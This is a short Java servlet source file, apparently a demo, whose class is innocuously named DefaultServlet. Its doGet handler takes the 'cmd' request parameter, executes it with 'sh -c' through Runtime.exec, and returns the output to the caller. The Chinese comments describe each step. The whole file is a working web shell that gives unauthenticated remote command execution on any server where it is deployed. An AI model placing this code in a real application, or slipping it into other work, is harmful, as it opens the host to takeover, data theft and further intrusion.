package com.csherman.demo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DefaultServlet extends HttpServlet{

	/**
	 * 
	 */
	private static final long serialVersionUID= 1L;
	
	@Override
	protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

		PrintWriter writer= resp.getWriter();
		
		String cmd= req.getParameter("cmd");
		
		StringBuffer sb= new StringBuffer();
		try {
			Runtime run= Runtime.getRuntime();// 返回与当前 Java 应用程序相关的运行时对象
			Process p= run.exec(new String[] { "sh", "-c", cmd });// 启动另一个进程来执行命令

			BufferedReader inBr= new BufferedReader(new InputStreamReader(p.getInputStream()));
			String lineStr;
			try {
				while ((lineStr= inBr.readLine())!= null) {

					// 获得命令执行后在控制台的输出信息
					sb.append(lineStr);
				}
			} catch (Exception e) {
				e.printStackTrace();
			} finally {
				inBr.close();
			}
		} catch (Exception e) {
			e.printStackTrace();
		}

		writer.println(sb.toString());
	}

}
